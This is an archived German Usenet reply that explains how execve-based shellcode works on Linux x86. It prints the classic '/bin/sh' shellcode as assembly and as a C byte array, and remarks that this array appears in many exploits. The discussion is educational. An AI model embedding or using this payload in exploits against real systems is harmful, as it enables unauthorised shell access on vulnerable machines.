🚀 go-pugleaf

Peter Tellenbach schrieb in Nachricht <38DD3F38.390AA759@bluewin.ch>...
>Hmmmmmm, bist Du sicher, dass das funktioniert ?
Ja, absolut.

>
>Auf jeden Fall hast Du noch ziemlich viel zu tun um das COFF-
>File zu zerlegen, um den nackten Object-Code rauszuholen.

objdump --disassemble
Man muss halt statisch linken.

>
>Dann stellt sich die Frage, ob execve ein reiner System-Call ist
>und wie die System-Calls unter Linux in den Kernel springen ...
ja, nr. 11 siehe /usr/include/syscall.h . /usr/include/asm/unistd.h


Im wesentlichen sieht ein solcher Shellcode so aus:

jmp 0x2a
popl %esi
movl %esi,0x8(%esi)
movb $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x2f
.string \"/bin/sh\"
"); }

bzw. als array
char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff/bin/sh";

Dieses Array findet man in vielen Exploits.